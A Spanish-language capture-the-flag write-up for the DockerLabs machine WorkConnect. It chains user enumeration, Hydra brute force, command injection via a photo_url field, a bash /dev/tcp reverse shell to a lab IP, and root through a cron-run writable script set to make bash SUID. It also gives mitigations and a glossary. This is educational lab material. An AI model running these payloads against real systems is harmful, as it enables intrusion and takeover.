WorkConnect
DockerLabs · User Enum Oracle → Hydra → Command Injection → Writable Script PrivEsc
// ruta
Nmap→
FastAPI /docs→
DNI Oracle→
Hydra→
Cmd Injection→
Rev Shell→
backup.py SUID→
ROOT ✓
01
// Planificación & objetivo
paso 01
Objetivo del ejercicio
WorkConnect es una máquina de dificultad Medio en DockerLabs. Simula una plataforma profesional tipo LinkedIn construida con FastAPI (Python) y expuesta en el puerto 8000. No hay SSH ni servicios adicionales — toda la cadena de ataque pasa por la API web.
Esta máquina introduce conceptos avanzados: enumeración de usuarios mediante un oracle de registro, Command Injection en un campo de perfil, y escalada de privilegios explotando un script Python ejecutado por root con permisos de escritura para el grupo del atacante.
Esta máquina introduce conceptos avanzados: enumeración de usuarios mediante un oracle de registro, Command Injection en un campo de perfil, y escalada de privilegios explotando un script Python ejecutado por root con permisos de escritura para el grupo del atacante.
paso 02
Resumen de fases
| Fase | Técnica / Herramienta | Resultado |
|---|---|---|
| Reconocimiento | Nmap -p- full scan | Puerto 8000 FastAPI/Uvicorn |
| Enum. API | curl /openapi.json + /docs | Endpoints: /register, /login, /dashboard/update-profile |
| Info. Disclosure | curl /register placeholder | Prefijo DNI filtrado: 71902 |
| User Enumeration | Script Python oracle | 5 DNIs válidos encontrados |
| Fuerza bruta | Hydra http-post-form | 71902678E : chocolate |
| Command Injection | curl photo_url=; id | RCE como recruiter |
| Reverse Shell | bash -i /dev/tcp | Shell como recruiter |
| PrivEsc | /opt/backup.py writable → SUID bash | ROOT ✓ |
02
// Reconocimiento & despliegue
paso 03
Despliegue de la máquina
Desplegamos con auto_deploy.sh. IP asignada: 172.27.0.2. A diferencia de máquinas anteriores, WorkConnect no expone SSH — toda la interacción es via web en el puerto 8000.
captura — despliegue● ● ●
03
// Escaneo & análisis
paso 04
Escaneo completo de puertos — Nmap
Lanzamos un escaneo completo de los 65535 puertos con detección de versiones y scripts NSE. Resultado: un único puerto abierto, 8000/tcp, con servidor Uvicorn — el servidor ASGI habitual de aplicaciones FastAPI en Python. El título HTTP confirma: WorkConnect.
Nmap
# nmap -p- -sS -sC -sV --min-rate 5000 -n -vvv -Pn 172.27.0.2
PORT STATE SERVICE REASON VERSION
8000/tcp open http syn-ack ttl 64 Uvicorn
|_http-title: WorkConnect
|_http-server-header: uvicorn
# Solo 1 puerto abierto. Sin SSH. Vector único: la API web.
captura — nmap output completo● ● ●
// hallazgo
Un único puerto: 8000 FastAPI/Uvicorn. Toda la cadena de ataque pasa por la API web.
paso 05
Enumeración de la API — FastAPI /docs y /openapi.json
FastAPI genera automáticamente documentación interactiva en
El endpoint
/docs y el esquema completo en /openapi.json. Accedemos a ambos para mapear todos los endpoints disponibles. Descubrimos: /register, /login, /dashboard y /dashboard/update-profile.El endpoint
/dashboard/update-profile incluye un campo photo_url — el servidor descarga la imagen desde una URL externa. Esto es un vector potencial: si el servidor ejecuta curl <photo_url> directamente en el shell sin sanitizar el input, tenemos Command Injection.
captura — web WorkConnect landing● ● ●
captura — FastAPI /docs con endpoints● ● ●
// vector identificado
Campo photo_url en update-profile — probable Command Injection si el servidor no sanitiza la URL antes de ejecutar curl.
paso 06
Information Disclosure — Prefijo DNI en placeholder
El formulario de registro requiere un DNI como identificador. Inspeccionamos el HTML del formulario con
curl. El atributo placeholder del campo DNI revela el prefijo: 71902 — el servidor filtró involuntariamente el formato exacto de los DNIs de sus usuarios.
curl
# curl http://172.27.0.2:8000/register | grep -i "dni\|placeholder"
placeholder="71902...."
# El servidor filtra el prefijo real de los DNIs registrados
captura — curl /register mostrando placeholder con prefijo● ● ●
captura — formulario de registro● ● ●
paso 07
Oracle de registro — Enumeración de DNIs válidos
El endpoint
— DNI no registrado →
— DNI ya registrado →
Esta diferencia de respuesta es un oracle de enumeración — nos permite distinguir usuarios existentes sin autenticación. Desarrollamos un script Python que prueba sistemáticamente todas las combinaciones posibles con el prefijo 71902, detectando cuáles ya están registrados.
/register devuelve respuestas diferentes según si el DNI ya existe en la base de datos:— DNI no registrado →
alert-success: "Registro completado con éxito"— DNI ya registrado →
alert-error: "El DNI introducido ya se encuentra registrado"Esta diferencia de respuesta es un oracle de enumeración — nos permite distinguir usuarios existentes sin autenticación. Desarrollamos un script Python que prueba sistemáticamente todas las combinaciones posibles con el prefijo 71902, detectando cuáles ya están registrados.
captura — DNI ya registrado (alert-error)● ● ●
captura — DNI nuevo (alert-success)● ● ●
Script Python Oracle
# python3 workconnect_dni_enum.py 172.27.0.2
[+] DNI válido encontrado --> 71902000A
[+] DNI válido encontrado --> 71902223C
[+] DNI válido encontrado --> 71902345A
[+] DNI válido encontrado --> 71902565I
[+] DNI válido encontrado --> 71902678E
Total probados: 26000/26000 | Encontrados: 5
captura — script enumerando DNIs válidos● ● ●
// usuarios encontrados
5 DNIs válidos: 71902000A · 71902223C · 71902345A · 71902565I · 71902678E
04
// Explotación & acceso inicial
paso 08
Verificación del comportamiento de login
Antes de lanzar Hydra necesitamos identificar la cadena de fallo del login — la respuesta que devuelve el servidor cuando las credenciales son incorrectas. Probamos con una contraseña errónea y confirmamos: login fallido devuelve HTTP 200 + div class="alert alert-error". Login exitoso devuelve HTTP 302 (redirección al dashboard).
curl test login
# curl -X POST http://172.27.0.2:8000/login -d "dni=71902678E&password=wrongpass" -v 2>&1 | grep -E "200|302|alert"
< HTTP/1.1 200 OK
<div class="alert alert-error">
# Login fallido = HTTP 200 + alert-error → cadena de fallo para Hydra
captura — curl verificando respuesta login fallido● ● ●
paso 09
Fuerza bruta HTTP — Hydra
Lanzamos Hydra con el modo
http-post-form, usando la lista de DNIs encontrados y rockyou.txt. La cadena de fallo es alert-error — Hydra para cuando NO ve esa cadena en la respuesta. Con 20 hilos paralelos encuentra las credenciales en menos de un minuto.
Hydra
# hydra -L dnisEncontrados.txt -P /usr/share/wordlists/rockyou.txt http-post-form://172.27.0.2:8000/login:"dni=^USER^&password=^PASS^":"alert-error" -t 20
[8000][http-post-form] host: 172.27.0.2 login: 71902678E password: chocolate
1 of 1 target successfully completed, 1 valid password found
captura — hydra encontrando credenciales● ● ●
DNI / Usuario71902678E
Contraseñachocolate
ServicioHTTP / 8000
paso 10
Acceso al dashboard y Command Injection
Accedemos al dashboard con las credenciales obtenidas. En la sección Mi Perfil encontramos el campo Foto de Perfil (URL externa) — el servidor descarga la imagen desde la URL proporcionada. Probamos inyectar un comando separado con
El payload
; para romper el comando curl interno del servidor y ejecutar código arbitrario.El payload
; id interrumpe el curl original e inyecta el comando id. La respuesta HTML incluye la salida: uid=1000(recruiter) — confirmamos ejecución remota de código como el usuario recruiter, que además pertenece al grupo humanresources.
captura — dashboard panel de perfil● ● ●
Command Injection
# curl -X POST http://172.27.0.2:8000/dashboard/update-profile --data-urlencode "photo_url=; id" | grep -A 3 "pre>"
uid=1000(recruiter) gid=1001(recruiter) groups=1001(recruiter),1000(humanresources)
# RCE confirmado — el servidor ejecuta curl <photo_url> directamente en el shell
captura — command injection mostrando uid recruiter● ● ●
// RCE confirmado
Command Injection en photo_url. Ejecución como recruiter (grupo humanresources). Lanzamos reverse shell.
paso 11
Reverse Shell
Con RCE confirmado, levantamos un listener con netcat en el puerto 4444 y enviamos una reverse shell bash via el mismo vector de Command Injection. El payload
bash -i >& /dev/tcp/172.27.0.3/4444 0>&1 abre una conexión de vuelta a nuestro Kali.
Listener + Reverse Shell
# Terminal 1 — listener
# nc -nlvp 4444
# Terminal 2 — payload
# curl -X POST http://172.27.0.2:8000/dashboard/update-profile --data-urlencode "photo_url=; bash -c 'bash -i >& /dev/tcp/172.27.0.3/4444 0>&1'"
connect to [172.27.0.3] from (UNKNOWN) [172.27.0.2]
recruiter@211c7d6f2da1:/opt/workconnect$
captura — reverse shell obtenida como recruiter● ● ●
// acceso inicial conseguido
Shell como recruiter (grupo humanresources). Iniciamos escalada de privilegios.
05
// Post-Explotación & privesc
paso 12
Enumeración — archivos del grupo humanresources
Buscamos todos los archivos accesibles por el grupo humanresources. El resultado apunta a
El contenido del script y el contexto de la máquina indican que root lo ejecuta automáticamente cada 60 segundos via cron. Si modificamos el script, root ejecutará nuestro código.
/opt/backup.py. Verificamos los permisos: el archivo es propiedad de root pero tiene permisos rw-rw-r-- — el grupo humanresources puede escribir en él.El contenido del script y el contexto de la máquina indican que root lo ejecuta automáticamente cada 60 segundos via cron. Si modificamos el script, root ejecutará nuestro código.
Enumeración grupo
recruiter@host:~$ find / -group humanresources 2>/dev/null
/opt/backup.py
recruiter@host:~$ ls -l /opt/backup.py
-rw-rw-r-- 1 root humanresources 883 May 4 08:46 /opt/backup.py
# root es propietario pero humanresources puede escribir
captura — find humanresources + ls permisos backup.py● ● ●
// vector identificado
/opt/backup.py writable por humanresources, ejecutado por root cada 60s → inyectamos código para activar SUID en bash.
paso 13
Escalada — Writable Script → SUID bash → root
Añadimos una línea al final de
Esperamos hasta 60 segundos, verificamos que
backup.py que activa el bit SUID en /bin/bash. Cuando root ejecute el script, bash tendrá SUID y podremos lanzarla con -p para preservar el uid efectivo de root — exactamente el mismo vector que vimos en la máquina Injection, pero activado de forma dinámica via script comprometido.Esperamos hasta 60 segundos, verificamos que
/bin/bash tiene el bit s activado y obtenemos shell root.
PrivEsc
# Inyectamos código malicioso en backup.py
recruiter@host:~$ echo 'import os; os.system("chmod u+s /bin/bash")' >> /opt/backup.py
# Esperamos hasta 60s y verificamos
recruiter@host:~$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1265648 /bin/bash
# SUID activo → lanzamos bash con -p
recruiter@host:~$ /bin/bash -p
bash-5.2# whoami
root
captura — shell root obtenida● ● ●
// root obtenido ✓
Escalada completada. Shell como root via /bin/bash -p con SUID activado por script comprometido.
06
// Reporte & conclusiones
vulnerabilidades
Vectores explotados
| Vulnerabilidad | Impacto | Mitigación |
|---|---|---|
| Information Disclosure en placeholder DNI | Filtración del prefijo de usuarios | No usar datos reales en placeholders de formularios públicos |
| Oracle de registro (respuestas diferentes) | Enumeración de usuarios válidos | Devolver siempre el mismo mensaje genérico independientemente del resultado |
| Sin rate limiting en /login | Fuerza bruta de credenciales | Rate limiting, CAPTCHA y bloqueo tras N intentos fallidos |
| Command Injection en photo_url | RCE como recruiter | Nunca ejecutar input de usuario en shell. Usar librerías HTTP nativas, no curl del sistema |
| /opt/backup.py writable por grupo + cron root | Escalada completa a root | Scripts ejecutados por root no deben ser escribibles por otros usuarios o grupos |
lecciones
Lecciones aprendidas
WorkConnect es la máquina más completa hasta ahora — encadena cinco vulnerabilidades distintas que individualmente serían menores pero juntas comprometen el sistema completamente. El oracle de registro es un ejemplo perfecto de information disclosure sutil: la app no expone contraseñas ni datos directos, pero la diferencia entre dos mensajes de error es suficiente para enumerar miles de usuarios. El Command Injection en
photo_url demuestra que cualquier campo que el servidor procese externamente es un vector potencial. Y el script con permisos de escritura ejecutado por cron es un patrón de misconfiguration extremadamente común en entornos reales.
07
// Glosario
Oracle de enumeración
Vulnerabilidad donde el comportamiento diferente de una aplicación ante dos situaciones distintas permite a un atacante extraer información. En este caso, el endpoint
/register devuelve mensajes distintos según si el DNI existe o no — un oracle binario que permite automatizar la búsqueda de usuarios válidos con un script. La solución es que la aplicación devuelva siempre el mismo mensaje genérico, independientemente de si el DNI existe o no.Command Injection
Vulnerabilidad que ocurre cuando una aplicación pasa input del usuario a un intérprete de comandos del sistema operativo sin sanitizarlo. En WorkConnect, el servidor ejecuta
curl <photo_url> directamente en el shell. Al inyectar ; id, se rompe el comando original y se ejecuta id como un comando separado. El carácter ; en bash separa comandos — comando1; comando2 ejecuta ambos secuencialmente. La solución es usar librerías HTTP nativas del lenguaje en lugar de llamadas al shell.Reverse Shell
Técnica donde la máquina víctima inicia una conexión de vuelta hacia el atacante, estableciendo un canal de comunicación que el atacante controla. A diferencia de un bind shell (donde la víctima escucha y el atacante conecta), la reverse shell supera firewalls y NAT que bloquean conexiones entrantes. El payload
bash -i >& /dev/tcp/IP/PUERTO 0>&1 redirige stdin, stdout y stderr de bash a través de una conexión TCP hacia el listener del atacante.Writable Script + Cron PrivEsc
Vector de escalada donde un script ejecutado periódicamente por root tiene permisos de escritura para un usuario no privilegiado. Al modificar el script, el atacante consigue que root ejecute código arbitrario en el siguiente ciclo del cron. Es un patrón de misconfiguration común en servidores donde los administradores dan permisos de escritura a scripts de mantenimiento para facilitar actualizaciones, sin considerar las implicaciones de seguridad.
FastAPI y documentación automática
FastAPI genera automáticamente documentación interactiva en
/docs (Swagger UI) y el esquema OpenAPI en /openapi.json. En entornos de producción esta documentación debe estar deshabilitada o protegida — expone públicamente todos los endpoints, parámetros y esquemas de la API, reduciendo significativamente el esfuerzo de reconocimiento del atacante.Hydra http-post-form
Módulo de Hydra para ataques de fuerza bruta contra formularios HTTP POST. La sintaxis es
http-post-form://HOST/PATH:"param1=^USER^¶m2=^PASS^":"cadena-fallo". La cadena de fallo es lo que aparece en la respuesta cuando las credenciales son incorrectas — Hydra marca como éxito cualquier respuesta que NO contenga esa cadena. Requiere identificar previamente el comportamiento del login fallido.